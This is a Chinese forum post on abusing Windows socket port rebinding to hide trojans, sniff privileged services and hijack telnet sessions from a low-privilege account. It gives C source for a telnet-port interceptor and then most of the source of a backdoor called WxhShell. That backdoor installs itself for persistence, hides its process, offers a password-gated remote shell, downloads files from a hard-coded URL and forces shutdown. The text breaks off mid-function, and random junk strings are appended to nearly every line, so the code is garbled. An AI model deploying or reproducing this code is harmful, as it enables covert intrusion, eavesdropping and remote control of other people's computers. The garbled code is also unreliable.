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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: rP4@K%F9jB  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); BZshTP[`  
x&Rp m<4  
  saddr.sin_family = AF_INET;  N&.p\T&t  
TaT&x_v^~a  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); nCB3d[/B  
* ?fBmq[j  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 1<|I[EI  
P[i/o#  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ix`xdVj`  
':$a6f &T  
  这意味着什么?意味着可以进行如下的攻击: X5[sw;rk  
T9?_ `h  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 }2oJ  
O 9)8a]  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) N *>; '  
Z Uv_u6aD  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6^Vf 5W{  
M-|2W~YU  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  g XMkI$ab  
[?*^&[  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 mJ7kOQ-.$  
c= u ORt>  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 mH .I!  
cn:VEF:l  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Q.\ovk~,a  
xRN$cZC  
  #include I5?LD=tt  
  #include `,[c??h  
  #include 0in6 z  
  #include    h%S#+t(Bf  
  DWORD WINAPI ClientThread(LPVOID lpParam);   -wRzMT19MG  
  int main() 6suc:rp";  
  { 7Y:s6R|  
  WORD wVersionRequested; $@;[K \  
  DWORD ret; IRa*}MJe  
  WSADATA wsaData; {*9i}w|2  
  BOOL val; ?]N&H90^5  
  SOCKADDR_IN saddr; Q-5wI$=  
  SOCKADDR_IN scaddr; .Oh$sma1  
  int err; t+ ]+Gn  
  SOCKET s; DmsloPB?_  
  SOCKET sc; qW^l2Jff  
  int caddsize; &ii =$4"R  
  HANDLE mt; ^5}3FvW  
  DWORD tid;   =`H( `2  
  wVersionRequested = MAKEWORD( 2, 2 ); H(s^le:!  
  err = WSAStartup( wVersionRequested, &wsaData ); o+&sodt|`  
  if ( err != 0 ) { Qafg/JU  
  printf("error!WSAStartup failed!\n"); b87o6"j  
  return -1; w"|c;E1;_  
  } >0oc=9H8  
  saddr.sin_family = AF_INET; b}*hodzF  
   f *vziC<m  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 v%^H9aK_  
B#yyO>0k]  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); z16++LKmM  
  saddr.sin_port = htons(23); [f}1wZ*  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^*OA%wg3=h  
  { o ++Hdvai  
  printf("error!socket failed!\n"); C7PiuL?  
  return -1; C2v7(  
  } H<"j3qt  
  val = TRUE; _guY%2% yR  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 (k~c]N)v  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) v*LL7b0 A  
  { Kw|`y %~  
  printf("error!setsockopt failed!\n"); ZlzFmNe60  
  return -1; { L5m`-x  
  } (x@"Dp=MZW  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Zj;!7ZuT1  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 vI@8DWs  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 we9AB_y  
JiR|+6"7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) l?;S>s*\?  
  { 5Fl|=G+3@g  
  ret=GetLastError(); C#R9Hlb  
  printf("error!bind failed!\n"); hCgNS1%4  
  return -1; \+\h<D-5  
  } K0]Wb=v  
  listen(s,2); M*N8p]3Cq  
  while(1) )UJMmw\  
  { h! <8=V(  
  caddsize = sizeof(scaddr); q'q{M-U<  
  //接受连接请求 5cU8GgN`  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Tp7?:YY|  
  if(sc!=INVALID_SOCKET) .(-3L9T}  
  { Sy_M!`B  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ^BZdR<;  
  if(mt==NULL) sMx\WTyz  
  { "`k[ 4C  
  printf("Thread Creat Failed!\n"); YS*t7  
  break; ]nh)FMo  
  } uRIr,U^  
  } f8lww)^,v  
  CloseHandle(mt); e+mD$(h  
  } 809-p_)B  
  closesocket(s); K5$ y  
  WSACleanup(); !FO)||'[  
  return 0; P_gQ-pF.  
  }   oaHBz_pg  
  DWORD WINAPI ClientThread(LPVOID lpParam) >7 |37a  
  { *K;~V  
  SOCKET ss = (SOCKET)lpParam; 2+.m44>Ti  
  SOCKET sc; z!%}0  
  unsigned char buf[4096]; e#wn;wo?  
  SOCKADDR_IN saddr; A{QS+fa/  
  long num; 19S,>  
  DWORD val;  x^"OH  
  DWORD ret; (:1 j-  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Vk"QcW  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   = 4If7  
  saddr.sin_family = AF_INET; 0czy:d,M%  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); LYX+/@OU2  
  saddr.sin_port = htons(23); >Ry4Cc  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) qv:WC TAn  
  { SO)??kQ{U  
  printf("error!socket failed!\n"); 2+enRR~  
  return -1; h5JXKR.1]c  
  } ll#PCgIm  
  val = 100; S(Pal/-"  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;8@A7`^  
  { ,oC r6 ]  
  ret = GetLastError(); F~B8XUa3  
  return -1; Ah,Zm4:  
  } i[<O@Rb  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6Z$T& Ul{  
  { [;(| ^0  
  ret = GetLastError(); `{ /tx!  
  return -1; *VH1(E`hl  
  } e\89;)  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Q_dFZ  
  { +#W5Qb}VR  
  printf("error!socket connect failed!\n"); mUjA9[@   
  closesocket(sc);  oDC3AK&  
  closesocket(ss); <AVpFy  
  return -1; W`Soa&9  
  } */1z=  
  while(1) &~j"3G;e  
  { 6jn<YR E-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 j_}e%,}  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 dCHU* 7DS  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 olqHa5qn  
  num = recv(ss,buf,4096,0); (HTVSC%=  
  if(num>0) c[5>kQ-nq  
  send(sc,buf,num,0); 0<Y)yNsV  
  else if(num==0) +,smjg:O  
  break; d; M&X!Y  
  num = recv(sc,buf,4096,0); /ZczfM\  
  if(num>0) *"#>Ov>  
  send(ss,buf,num,0); M! s&<Bi  
  else if(num==0) =$m|M m[a  
  break; I=1tf;Bsi  
  }  6} 9A0  
  closesocket(ss); O:#to  
  closesocket(sc); y]Y)?])  
  return 0 ; 8Vq,J:+  
  } h\1_$ac  
]`MRH[{  
{ "/@,!9rJ  
========================================================== )P$ IXA\  
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下边附上一个代码,,WXhSHELL !u^(<.xJ   
k8h$#@^  
========================================================== ?0%lB=qQ  
O6`@'N>6P  
#include "stdafx.h" *P_TG"^{W  
-X |G  
#include <stdio.h> <'/+E4m  
#include <string.h> f[.]JC+,  
#include <windows.h> MZ{)`7acR\  
#include <winsock2.h> z_zr3XR9  
#include <winsvc.h> 4Ld0AApncy  
#include <urlmon.h> 5L4~7/kj  
SO}Hc;Q1`  
#pragma comment (lib, "Ws2_32.lib") +%FG ti$[  
#pragma comment (lib, "urlmon.lib") lVqvS/_k$  
sl)_HA7G  
#define MAX_USER   100 // 最大客户端连接数 MOj 0"x)  
#define BUF_SOCK   200 // sock buffer Gm*i='f!?  
#define KEY_BUFF   255 // 输入 buffer sI~{it#  
KB-7]H  
#define REBOOT     0   // 重启 VQX#P<  
#define SHUTDOWN   1   // 关机 6OVAsmE  
#Z fg  
#define DEF_PORT   5000 // 监听端口 QutQG  
PPohpdd)  
#define REG_LEN     16   // 注册表键长度 n&@\[,B  
#define SVC_LEN     80   // NT服务名长度 Qd@`jwjS  
\ Xuu|]  
// 从dll定义API j88H3bi0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8zr)oQ:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LaLA }1!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); I@[.W!w  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -0>@jfP^D  
Y2Tg>_:t   
// wxhshell配置信息 ]e+S~me  
struct WSCFG { JK,k@RE y]  
  int ws_port;         // 监听端口 JeiW z1t  
  char ws_passstr[REG_LEN]; // 口令 u{I)C0  
  int ws_autoins;       // 安装标记, 1=yes 0=no B&tl6?7h  
  char ws_regname[REG_LEN]; // 注册表键名 $ZE OE8.\  
  char ws_svcname[REG_LEN]; // 服务名 ]92@&J0w  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 sR#( \  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 / VJ[1o^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \5J/ ?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no aG,N>0k8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" NK d8XQ=%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #A?U_32z/2  
[ h%ci3  
}; *!Xhy87%Z)  
@v|_APy#  
// default Wxhshell configuration YT#" HYO  
struct WSCFG wscfg={DEF_PORT, VN*^pAzlF  
    "xuhuanlingzhe", #S QFI;zj  
    1, GCc@ :*4[  
    "Wxhshell", w(s"r p}  
    "Wxhshell", eRD s?n3F  
            "WxhShell Service", mw.9cDf  
    "Wrsky Windows CmdShell Service", JgEpqA12  
    "Please Input Your Password: ", aWW|.#L  
  1, K47W7zR  
  "http://www.wrsky.com/wxhshell.exe", =`g+3 O;<  
  "Wxhshell.exe" n;4` IK|  
    }; c^I_~OwaE  
EpS"NQEe  
// 消息定义模块 Ao 1*a%-.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]Y:|%rvVH  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /)6<`S(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3%'$AM}+s  
char *msg_ws_ext="\n\rExit."; )j!22tlL  
char *msg_ws_end="\n\rQuit."; NO"=\Zn6  
char *msg_ws_boot="\n\rReboot..."; %KRAcCa7  
char *msg_ws_poff="\n\rShutdown..."; Vhv<w O Ct  
char *msg_ws_down="\n\rSave to "; jF{zcYU  
Z&YW9de@  
char *msg_ws_err="\n\rErr!"; u|APx8?"o  
char *msg_ws_ok="\n\rOK!"; 9V("K  
A{Pp`*l  
char ExeFile[MAX_PATH]; $5|/X&"O)/  
int nUser = 0; i9uJ%nd:  
HANDLE handles[MAX_USER]; b=.Ikt+y  
int OsIsNt; mM1\s>o  
D.4=4"qMi  
SERVICE_STATUS       serviceStatus; zR">'bM:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9 *Q/3|   
BY6QJkI9x  
// 函数声明 PWx2<t<;9  
int Install(void); &`GQS|  
int Uninstall(void); _=8x?fC:rl  
int DownloadFile(char *sURL, SOCKET wsh); sZ7{_}B  
int Boot(int flag); EnZrnoGM  
void HideProc(void); %YA=W=Yd  
int GetOsVer(void); @~xNax&^  
int Wxhshell(SOCKET wsl); 4)i/B99k  
void TalkWithClient(void *cs); (?D47^F &  
int CmdShell(SOCKET sock); h@t&n@8O?  
int StartFromService(void); u\.7#D>  
int StartWxhshell(LPSTR lpCmdLine); U C3?XoT\  
5&\Q0SX(~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %jim] ]<S[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Fz~-m#Ts  
R"VmN2  
// 数据结构和表定义 H5{d;L1[  
SERVICE_TABLE_ENTRY DispatchTable[] = SX$v&L<  
{ c{7!:hi`x  
{wscfg.ws_svcname, NTServiceMain}, p.n+m[  
{NULL, NULL} {w1sv=$+  
}; j[v<xo  
>y &9!G  
// 自我安装 k7W7S`H  
int Install(void) X~G!{TT_x6  
{ &%$r3ePwc  
  char svExeFile[MAX_PATH]; 2mWW0txil  
  HKEY key; `)/G5 fB  
  strcpy(svExeFile,ExeFile); /T!S)FD\/v  
|#Z:v1]"  
// 如果是win9x系统,修改注册表设为自启动 '/J}T -,Z  
if(!OsIsNt) { a$l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +K])&}Dw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); inBBU[Sl  
  RegCloseKey(key); D}r,t_]Eb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bT2b)nf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2r^|  
  RegCloseKey(key); hqmKUlo  
  return 0; ]2+7?QL,  
    } U5[xW  
  } HE,# pj(D  
} TG~:Cmc  
else { d:|X|0#\uH  
CfNHv-jDL  
// 如果是NT以上系统,安装为系统服务 rfpeX   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m(L]R(t  
if (schSCManager!=0)  LkD$\i  
{ D9*GS_K2 t  
  SC_HANDLE schService = CreateService 4N|^Joi  
  ( $z)r(N$  
  schSCManager, qCi6kEr  
  wscfg.ws_svcname, 9s8B>(L  
  wscfg.ws_svcdisp, prV:Kq;O  
  SERVICE_ALL_ACCESS, za `  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @2yi%_ ]h  
  SERVICE_AUTO_START, sk.<|-(o  
  SERVICE_ERROR_NORMAL, <O>1Y09C/  
  svExeFile, Po#;SG#Ee  
  NULL, yZE"t[q#O  
  NULL, Z_.Eale^  
  NULL, gBA UrY%]  
  NULL, 6hv4D`d;o  
  NULL W2e~!:w  
  ); SQ9s  
  if (schService!=0) +1zCb=;!{  
  { ! ~u;CMR  
  CloseServiceHandle(schService); NpG5$?  
  CloseServiceHandle(schSCManager); ],YIEOx6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); eZ#nZB  
  strcat(svExeFile,wscfg.ws_svcname); O]o `! c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { B{^o}:e  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); HS =qK  
  RegCloseKey(key); l8/ tR  
  return 0; \$n?J(N  
    } YKk?BQ"  
  } ;cgc\xm>  
  CloseServiceHandle(schSCManager); @0S3`[/U  
} S\RjP*H*  
} ~3< Li}W  
'yuM=Pb  
return 1; (\}>+qS[  
} x2(!r3a  
.>NhC"  
// 自我卸载 @.T(\Dq^  
int Uninstall(void) `OO=^.-u  
{ @5+ JXD  
  HKEY key; ]:m>pI*z.  
K<'L7>s3lA  
if(!OsIsNt) { |-GmWSK_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;O5p>o  
  RegDeleteValue(key,wscfg.ws_regname); UE33e(Q<  
  RegCloseKey(key); t2d _XQOK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /^v?Q9=Y  
  RegDeleteValue(key,wscfg.ws_regname); #-?pY"N,  
  RegCloseKey(key); o_>id^$>B  
  return 0; a<9cj@h  
  } WD c2Qt  
} 5|&8MGW-$  
} b37P[Q3  
else { P[6@1  
6UOV,`:m+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *$mDu,'8  
if (schSCManager!=0) *)+1BYMo  
{ lX$6U| !  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G66A]FIg  
  if (schService!=0) 8@S7_x  
  { F[uy'~;@  
  if(DeleteService(schService)!=0) { |y=;#A  
  CloseServiceHandle(schService); HO%atE$>  
  CloseServiceHandle(schSCManager); bkk1_X  
  return 0; R L&z\S  
  } -7\Rl3c  
  CloseServiceHandle(schService); SEsc"l8  
  } ckFnQhW  
  CloseServiceHandle(schSCManager); R r7r5  
} ~RGZY/4  
} wmbjL=f Ia  
yDh(4w-~gk  
return 1; PI@/jh  
} Bwv@D4bii  
V9 qZa  
// 从指定url下载文件 )2t!= ua  
int DownloadFile(char *sURL, SOCKET wsh) foY=?mbL  
{ c^0Yu Bps[  
  HRESULT hr; gn"Y?IZ?  
char seps[]= "/"; {?tK]g#  
char *token; 9i4!^DM_  
char *file; DtkY;Yl  
char myURL[MAX_PATH]; ?0k(wiF  
char myFILE[MAX_PATH]; 2K?~)q&t*  
am;)@<8~Q  
strcpy(myURL,sURL); %%J)@k^vH  
  token=strtok(myURL,seps); ^~~&[wY  
  while(token!=NULL) 8l,`~jvU!*  
  { h#a;(F4_7  
    file=token; *((wp4b  
  token=strtok(NULL,seps); Itn7Kl  
  } OL+dx`Y  
0IU>KGJ-0s  
GetCurrentDirectory(MAX_PATH,myFILE); :.KN;+tP  
strcat(myFILE, "\\"); M JJ]8:%  
strcat(myFILE, file); GQ<]Sd}[  
  send(wsh,myFILE,strlen(myFILE),0); h&Thq52R  
send(wsh,"...",3,0); |tL57Wu93  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tj:3R$a  
  if(hr==S_OK) H}G=%j0  
return 0; =*EIe z*.x  
else 242dT/j  
return 1; h!# (.P  
wcGI2aflD  
} $50rj  
lR] z8 &  
// 系统电源模块 g$C-G5/bjD  
int Boot(int flag) c32IO&W4  
{ .Cv0Ze  
  HANDLE hToken; S;a'@5  
  TOKEN_PRIVILEGES tkp; K"~Tk`[0Q  
h%'4V<V  
  if(OsIsNt) { ShXk\"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [^wEKRt&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _hP siZY9  
    tkp.PrivilegeCount = 1; N[e QT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; cBICG",TA  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H:9Z.|{Gv  
if(flag==REBOOT) { 56 6vjE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m\a_0!K  
  return 0; R? aE:\A  
} ,#=ykg*~/  
else { kO3{2$S6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !e~Yp0gX#  
  return 0; K:PzR,nn  
} scmn-4j'{  
  } }$DLa#\-  
  else { Hg)5c!F7  
if(flag==REBOOT) { l#7].-/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) G dZ_  
  return 0; ua$H"(#c  
} |,zcrOo]  
else { QmQsNcF~z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f8]Qn8  
  return 0; ]y&w)-0  
} |n9~2R   
} I5RV:e5b  
9o-fI@9  
return 1; !N5+.E0j  
} >r Nff!Ow  
Y|ONCc  
// win9x进程隐藏模块 diXb8L7B;  
void HideProc(void) Wtl0qug  
{ rBBA`Ut@F  
 y!6+jrI  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); mHTZ:84  
  if ( hKernel != NULL ) 4%l @   
  { f1R&Q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rNzsc|a:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1rhsmcE  
    FreeLibrary(hKernel); 1d4 9z9F  
  } @8zp(1.  
@V$,H/v:  
return; C+ {du^c$  
} *We.?"X'].  
GKPC9;{W  
// 获取操作系统版本 qGndh  
int GetOsVer(void) g8+w?Zn}  
{ ]TTX<R ZLr  
  OSVERSIONINFO winfo; 0,)Ao8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _ED,DM  
  GetVersionEx(&winfo); **\BP,]}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) i!zh9,i>M  
  return 1; At5:X*vD  
  else ZLA&<]Ad"$  
  return 0; 6;/>asf  
} ciKkazx.  
+ -e8MvP  
// 客户端句柄模块 X]'Hz@$N  
int Wxhshell(SOCKET wsl) <pd6,l\  
{ 5j(3pV`_  
  SOCKET wsh; $V"NB`T  
  struct sockaddr_in client; qX'w}nJ}H}  
  DWORD myID; xl5n(~g)p  
$YDZtS&h  
  while(nUser<MAX_USER) 7mulNq  
{ S@suPkQ<>  
  int nSize=sizeof(client); nJ/wtw  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); F?j;3@z[A  
  if(wsh==INVALID_SOCKET) return 1; 4m++>q  
^+Ez[S{8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ejj|l   
if(handles[nUser]==0) >M.?qs4  
  closesocket(wsh); )"7hyW5  
else t3 AZS0  
  nUser++; bH7[6#y$  
  } 33d86H% ;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mT57NP  
6T6 S9A*nT  
  return 0; hjiU{@q  
} oOk.Fq  
B`Q.<Lqu  
// 关闭 socket '8~cf  
void CloseIt(SOCKET wsh) fgFBOpG%Gq  
{ H) g:<  
closesocket(wsh); Vv(!Ki}  
nUser--; s{q)m@  
ExitThread(0); { .KCK_ d  
} 4)=LOGW  
TQ&%SMCn  
// 客户端请求句柄 hq9b  
void TalkWithClient(void *cs) yhr\eiJ@6  
{ 7 q<UJIf  
1E Lzzn  
  SOCKET wsh=(SOCKET)cs; 02X~' To"  
  char pwd[SVC_LEN]; *AXu_^^  
  char cmd[KEY_BUFF]; a/+tsbw  
char chr[1]; k4_Fn61J/  
int i,j; "s$v?voo  
cOUsbxYTD  
  while (nUser < MAX_USER) { u(JC 4w'  
52B ye   
if(wscfg.ws_passstr) { * [*#cMZ   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6G"AP~|0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *BVkviqxz  
  //ZeroMemory(pwd,KEY_BUFF); {+f@7^/i.  
      i=0; _<5o1  
  while(i<SVC_LEN) { ;VS;),h/  
cHK)e2 r  
  // 设置超时 >HnD'y*  
  fd_set FdRead; 5VWXUNe@_q  
  struct timeval TimeOut; \()\pp~4  
  FD_ZERO(&FdRead); XF2u<sDe  
  FD_SET(wsh,&FdRead); &0TOJ:RP  
  TimeOut.tv_sec=8; rWbuoG+8  
  TimeOut.tv_usec=0; !lE (!d3M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,_`\c7@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); KdF QlQaj  
@Z!leyam  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zQ xZR}'  
  pwd=chr[0]; AO;`k]0e  
  if(chr[0]==0xd || chr[0]==0xa) { ZZTPAmIr  
  pwd=0; _,b%t1v  
  break; 7dX1.}M<(  
  } 3y>.1  
  i++; u*[,W-R&  
    } KtHh--j`  
D_O%[u}  
  // 如果是非法用户,关闭 socket I"3Qdi  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?)Lktn9%  
} TJ`E/=J!  
hC}A%_S  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^BjwPh4Z#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  DVD}  
~!]FF}6  
while(1) { J{$C}8V  
!.L%kw7z  
  ZeroMemory(cmd,KEY_BUFF); [7]p\' j  
qB@]$  
      // 自动支持客户端 telnet标准   }.gDaxj  
  j=0; ;: Hfkyy]  
  while(j<KEY_BUFF) { ~/[cZY @  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); po"M$4`9  
  cmd[j]=chr[0];  >0+m  
  if(chr[0]==0xa || chr[0]==0xd) { RrLQM!~  
  cmd[j]=0; 5<4njo?k  
  break; {#q<0l  
  } .D^k0V  
  j++; HeGGAjc  
    } xN2M| E]  
-9-%_=6  
  // 下载文件 /'E+(Y&:J  
  if(strstr(cmd,"http://")) { $$ {ebt  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %kNkDI  
  if(DownloadFile(cmd,wsh)) * ok89 ad  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ] V]~I.  
  else 6\O4R  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -O~WHi5}  
  } |IH-a"  
  else { "eI-Y`O,  
j3`:;'L  
    switch(cmd[0]) {  ^]wm Y  
  +Qu~UK\   
  // 帮助 -N5r[*>  
  case '?': { S=[K/Kf-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); QfU 0*W?r  
    break; GfQMdLy\Z  
  } 5#d"]7  
  // 安装 bm%2K@ /U  
  case 'i': { 8[f]9P/i  
    if(Install()) ..<(HH2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o'myo.k{  
    else }?*:uf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L7n->8Qk  
    break; &z{oVU+mA  
    } 3X0^xUA6  
  // 卸载 aChY5R  
  case 'r': { lqqY5l6j  
    if(Uninstall()) ReKnvF~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8XX ,(k_b  
    else zfi{SO l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M0c"wi@S_  
    break; (U!WD`Ym  
    } E_WiQ?p   
  // 显示 wxhshell 所在路径 0plRsZ}  
  case 'p': { k6[t$|lMy  
    char svExeFile[MAX_PATH]; !bH-(K{S6  
    strcpy(svExeFile,"\n\r"); `Up<;  
      strcat(svExeFile,ExeFile); JEY%(UR8  
        send(wsh,svExeFile,strlen(svExeFile),0); sF_.9G)S0  
    break; _}jj>+zA`  
    } Gpe h#Q4x  
  // 重启 QHMXQyr(  
  case 'b': { ~DqNA%Mb  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o1zc`Ibd  
    if(Boot(REBOOT)) K* [cJcY+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _sZ/tU@_-K  
    else { F1Egcx/$V  
    closesocket(wsh); t47 f$gq  
    ExitThread(0); 34JkB+#a  
    } c)@M7UK[  
    break; Vl^jTX5N  
    } 5I T'u3V  
  // 关机 B HZGQm  
  case 'd': { s}|IRDpp  
